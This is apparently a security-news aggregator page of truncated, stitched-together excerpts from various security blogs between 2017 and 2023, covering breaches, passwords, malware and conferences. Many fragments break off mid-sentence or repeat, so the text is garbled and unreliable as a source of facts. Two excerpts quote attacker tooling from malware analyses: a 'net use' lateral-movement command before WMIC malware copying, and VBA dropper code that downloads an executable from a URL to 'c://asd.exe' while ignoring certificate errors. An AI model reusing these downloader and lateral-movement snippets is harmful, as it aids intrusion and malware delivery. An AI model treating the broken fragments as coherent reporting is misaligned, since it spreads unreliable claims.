eSecurity Planet

DECEMBER 3, 2021

Brian Krebs is an independent investigative reporter known for his coverage of technology, malware , data breaches , and cybercrime developments. Krebs wrote for The Washington Post between 1995 and 2009 before launching his current blog KrebsOnSecurity.com. Brian Krebs | @briankrebs. Bruce Schneier | @schneierblog.

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Elie

MARCH 31, 2019

Password Checkup. Password checkup allows users to check, in a privacy-preserving manner, whether their username and password matches one of the more than 4B+ credentials exposed by third-party data breaches of which Google is aware. Password Checkup help users mitigate this threat through a one-click, install and forget.

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Security Affairs

SEPTEMBER 13, 2021

The attack was discovered by researchers from the University of Michigan, University of Adelaide, Georgia Institute of Technology, and Tel Aviv University. on a Tumblr blog, targeting a password that was autofilled into Tumblr’s login page by Chrome’s built-in credential manager. to recover the password.

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Troy Hunt

JANUARY 3, 2019

Blogging I actually got a bit of a surprise when I pulled the list of my most popular blog posts for 2018: The surprise was that after the home page, the most popular page hit on my site was the one about Online Spambot , a post I published in August 2017. SSW in Sydney: How safe is your #password ?! I love this post.

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Security Affairs

OCTOBER 14, 2019

“Here is what we know about the situation today: On August 20, 2019, we learned from a third party of a data exposure that impacts a subset of customers of our Cloud WAF product who had accounts through September 15, 2017. Elements of our Incapsula customer database through September 15, 2017 were exposed.

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Troy Hunt

OCTOBER 28, 2020

Everything becomes clear(er) if I manually change the font in the browser dev tools to a serif version: The victim I was referring to in the opening of this blog post? Obviously, the image is resized to the width of paragraphs on this blog, give it a click if you want to check it out at 1:1 size.

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Krebs on Security

JUNE 25, 2019

com via Domaintools.com shows the domain was assigned in 2015 to a company called “ Shanghai Blazefire Network Technology Co. In July 2017, Russian antivirus vendor Dr.Web published research showing that Triada had been installed by default on at least four low-cost Android models. Research on blazefire[.]com com and rurimeter[.]com

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Security Boulevard

NOVEMBER 12, 2021

Additionally, McKinsey pointed out that investment in virtual care and digital health fueled innovation, finding that venture capital firms tripled investments in digital health technologies in 2020 as compared to 2017. Since malicious actors target ePHI, simply requiring a username and password may not be enough.

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The Last Watchdog

DECEMBER 19, 2022

Cybersecurity firm Positive Technologies found 88 new IAB sales on dark web marketplaces in the first quarter of 2020, compared to just three in all of 2017. General cybersecurity best practices like using strong passwords and offering regular security training will also help. Monitoring the dark web for IAB listings.

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Krebs on Security

JUNE 25, 2019

com via Domaintools.com shows the domain was assigned in 2015 to a company called “ Shanghai Blazefire Network Technology Co. In July 2017, Russian antivirus vendor Dr.Web published research showing that Triada had been installed by default on at least four low-cost Android models. Research on blazefire[.]com com and rurimeter[.]com

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The Last Watchdog

DECEMBER 17, 2018

According to research by one law firm, pre-GDPR regulatory fines had almost doubled , on average, between 2017 and 2018, up from £73,191 to £146,412. About the essayist: John Safa is founder and chief technology officer at Pushfor , a London-based supplier of messaging and content security systems. Checkbox mentality.

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SiteLock

AUGUST 27, 2021

These devices are usually designed to be used right out of the box with minimal setup, so users often aren’t prompted to set up their own password for the device. In some cases, devices of the same make/model may come equipped with the same default password. Changing the password that the device comes with should be your first step!

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Anton on Security

JUNE 10, 2022

As I was looking at the security vendors and their technologies, I realized that security vendors that apparently peaked in relevance, say, in the mid-2000s had huge booths and did brisk business, selling whatever they sold before. RSA 2017: What’s The Theme? RSA 2013 and Endpoint Agent Re-Emergence RSA 2006–2015 In Anton’s Blog Posts!

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SecureList

MARCH 28, 2023

Although we have written about a similar malware attack in 2017 in one of our blogposts , the technique is still very relevant today as it doesn’t have any perfect solution from the perspective of operating system design. A password-protected RAR archive (random password).

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The Last Watchdog

OCTOBER 15, 2018

In that caper, criminals got away with Social Security numbers, passwords, and in some cases, fingerprints. Then in August 2017, the FBI arrested a Chinese national suspected of helping to create the malware used in the OPM breach. million federal employees and contractors.

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The Last Watchdog

MARCH 13, 2019

billion IoT devices in use as of 2017, half are consumer gadgets, like smart TVs, speakers, watches, baby cams and home thermostats; much of the rest is made up of things like smart electric meters and security cameras in corporate and government use. This column originally appeared on Avast Blog.). Likewise, the U.S.

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Duo's Security Blog

JUNE 28, 2022

And one of the few security technologies that is specifically called out by the FTC is multi-factor authentication (MFA). When an MFA solution is deployed, in addition to a username and password, employees with access to sensitive data will need another means of verification to make sure they are who they say they are.

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Thales Cloud Protection & Licensing

NOVEMBER 2, 2017

Three topics that piqued my interest at the 2017 show included authentication, blockchain and digital payments. This model enables interoperability among authentication devices and eliminates user frustration caused by creating and remembering multiple usernames and passwords. Authentication. Blockchain. Payments Race.

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Security Affairs

OCTOBER 28, 2019

Precision engineering is a very important business market in Europe, it includes developing mechanical equipment for: automotive, railways, heavy industries and military grade technology. Object-3 exploiting CVE-2017-11882. In a nutshell CVE-2017-11882 is a 17-year old memory corruption issue in Microsoft Office (including Office 360).

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Security Boulevard

JUNE 10, 2022

As I was looking at the security vendors and their technologies, I realized that security vendors that apparently peaked in relevance, say, in the mid-2000s had huge booths and did brisk business, selling whatever they sold before. RSA 2017: What’s The Theme? RSA 2006–2015 In Anton’s Blog Posts! It was the past and the future.

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Security Affairs

OCTOBER 17, 2018

How Microsoft Excel is able to decrypt such a content if no password is requested to the end user? It’s not hard to see what the payload does (CVE-2017-11882 ), but if you run it on a dynamic engine you would probably have more chances to prove it. It makes an explicit date control check to 0x7E1 (2017).

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Troy Hunt

JANUARY 8, 2020

This is a blog post about disclosure, specifically the difficulty with doing it in a responsible fashion as the reporter whilst also ensuring the impacted organisation behaves responsibly themselves. And that's when I decided to write this blog post. But that's not the point - the email was received and then.

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Security Boulevard

MARCH 25, 2022

If you work there, skip this blog and go read their report first! That same day, Press Secretary Jen Psaki brought in Anne Neuberger, the Deputy National Security Advisor over Cyber and Emerging Technologies. Organizations should report anomalous cyber activity and/or cyber incidents 24/7 to report@cisa.gov or (888) 282-0870.

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Lenny Zeltser

JULY 25, 2018

.” A variation of this technique was documented by Stu Sjouwerman at KnowBe4 in 2017. In a modern twist, the scammer includes personal details about the recipient—beyond merely the person’s name—such as the password the victim used: “ is one of your password and now I will directly come to the point.

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Krebs on Security

JANUARY 25, 2022

Although he didn’t technically have an account with MSF, their authentication system is based on email addresses, so Jim requested that a password reset link be sent to his email address. But if recent events are any indication, legal landscape is shifting towards increased accountability and transparency.”

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Elie

DECEMBER 20, 2018

reuse of passwords found in data breaches and phishing attacks. The remainder of this blog post is organized as follows: Methodology : How the data was collected and what are the study limitations. git repo has been active since 2014 and pulled the list of sites as it was after the last git commit of each year from 2014 until 2017.

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Thales Cloud Protection & Licensing

FEBRUARY 22, 2018

Remember earlier this year when news broke that Hawaii’s Emergency Management Agency was keeping their passwords on a Post-it note, right after a false missile alert was blasted to residents across the state? This marks a huge jump from the 2017 report (34% of breached) and the 2016 report (18%). We’ve also seen instances of U.S.

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Cisco Security

MAY 27, 2022

In part one of our Black Hat Asia 2022 NOC blog , we discussed building the network with Meraki: . The goal of orchestration is to make life simpler, whether it is by automating our interactions with technology or making those interactions easier for the user. . Meraki MR, MS, MX and Systems Manager by Paul Fidler .

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Krebs on Security

JANUARY 22, 2019

In July 2018, email users around the world began complaining of receiving spam which began with a password the recipient used at some point in the past and threatened to release embarrassing videos of the recipient unless a bitcoin ransom was paid. Yahoo + AOL) ; Oracle ; Tesla Motors ; Time Warner ; US Bank; US Steel Corp.;

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SecureList

FEBRUARY 25, 2021

First, a network connection with a remote host was established using the command “net use” net use [IP address] IPC$ “ [password] ” /u:”[user name]” > $temp~tmp5936t.tmp 2>&1″ Next, the actor copied malware to the remote host using the Windows Management Instrumentation Command-line (WMIC).

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SiteLock

AUGUST 27, 2021

Join us as we dive into a variety of subjects, including social media, blogging and website security. Morten ( @mor10 ) is a senior staff instructor at LinkedIn Learning and Lynda.com with 60+ courses published on WordPress, web standards, design and UX, and future technologies.

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Cisco Security

AUGUST 28, 2023

As at Black Hat events in the past, I got to participate in meaningful conversations about the intersection of usage of Cisco and 3 rd party products, tweak our API plans and clearly express the needs we have from our partner technologies to better serve our customers in common. We also deployed ThousandEyes for Network Assurance.

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Security Affairs

OCTOBER 1, 2019

ServerXMLHTTP") WinHttpReq.setOption(2) = 13056 ' Ignore cert errors WinHttpReq.Open "GET", droppingURL, False ', "username", "password" WinHttpReq.setRequestHeader "User-Agent", "Mozilla/4.0 Actually I did see this code few times related to manual attacks back in 2017. droppingURL = "[link] localPath = "c://asd.exe".

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SecureList

AUGUST 12, 2021

In their blog, DarkSide’s creators heaped the blame on third-party operators. There appeared the new Qlocker family, which packs user files into a password-protected 7zip archive, plus our old friends ech0raix and AgeLocker began to gather steam. For the cybercriminals, this sudden notoriety proved unwelcome. are still current.

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Cisco Security

MAY 26, 2022

In part one of this issue of our Black Hat Asia NOC blog, you will find: . We provided visibility access to the Black Hat NOC management and the technology partners (along with full API access), so they could integrate with the network platform. Meraki MR, MS, MX and Systems Manager by Paul Fidler .

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Spinone

JULY 8, 2020

While it has stopped doing this circa 2017, there is nothing to prevent Google from doing this again in the future with a free G Suite plan. An important methodology when it comes to ensuring your G Suite environment is HIPAA compliant comes down to the People, Processes , and Technology triangle.

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Security Affairs

FEBRUARY 16, 2021

Javali trojan is active since November 2017 and targets users of financial and banking organizations geolocated in Brazil and Mexico. Code-signing – Microsoft Authenticode technology. The unique technology which allows combining the files used by your application into a single module without loss of efficiency. br uolhost.]com.]br

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